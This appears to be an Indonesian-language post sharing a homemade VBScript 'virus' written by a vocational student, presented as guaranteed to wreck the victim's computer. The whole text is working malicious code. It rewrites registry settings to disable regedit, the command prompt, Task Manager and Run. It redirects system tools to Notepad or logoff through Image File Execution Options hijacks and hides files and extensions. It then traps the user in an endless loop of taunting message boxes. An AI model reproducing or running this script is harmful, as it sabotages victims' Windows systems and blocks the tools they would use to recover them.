nh kode virus buatan gw, dijamin bikin komputer lo hancur..!

dim wasu
set wasu = CreateObject("WScript.Shell")
wasu.RegWrite "HKCR\inffile\shell\Install\command\", "logoff.exe"
wasu.RegWrite "HKCR\regfile\shell\open\command\", "logoff.exe"
wasu.RegWrite "HKCR\VBSFile\Shell\Edit\Command\", "logoff.exe"
wasu.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegedit", "1", "REG_DWORD"
wasu.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", "0", "REG_DWORD"
wasu.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", "1", "REG_DWORD"
wasu.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileAssociate", "1", "REG_DWORD"
wasu.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "1", "REG_DWORD"
wasu.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", "1", "REG_DWORD"
wasu.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "1", "REG_DWORD"
wasu.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD", "1", "REG_DWORD"
wasu.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableTaskMgr", "1", "REG_DWORD"
wasu.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TaskMgr.exe\Debugger","Notepad.exe"
wasu.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger","Notepad.exe"
wasu.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger","Notepad.exe"
wasu.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger","Notepad.exe"
wasu.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe\Debugger","Notepad.exe"



sub coba
do
msgbox "ini adalah vbscript",,"coba coba"
msgbox "LAGI NH",,"coba coba"
MSGBOX "HE, he he.. ga bisa diberhentikan ya?",,"mampus lo"
msgbox "ini kan percobaan virus gw, jdi wajar aja ga bisa diberhentikan!",,"VIRUS GILA NEH....!"
MSGBOX "Pasti terulang lagi nih",,"Reply lagi gak neh..?"
msgbox "pILIH YANG MANA DEH....",3,"JUST KIDDING"
msgbox " BUATAN ANAK KELAS XII TPC. SMKN 1 BEKASI ......",5,"Kreatif"
msgbox " ANGKATAN 2008/2009 NIH...",3,"KREATIF"
msgbox "..........",,"......"
msgbox "..........",,"......"
msgbox " sekarang lo buka task manager deh,,,",,"...."
msgbox " ga bisa kan... he he",,"...."
loop
end sub
coba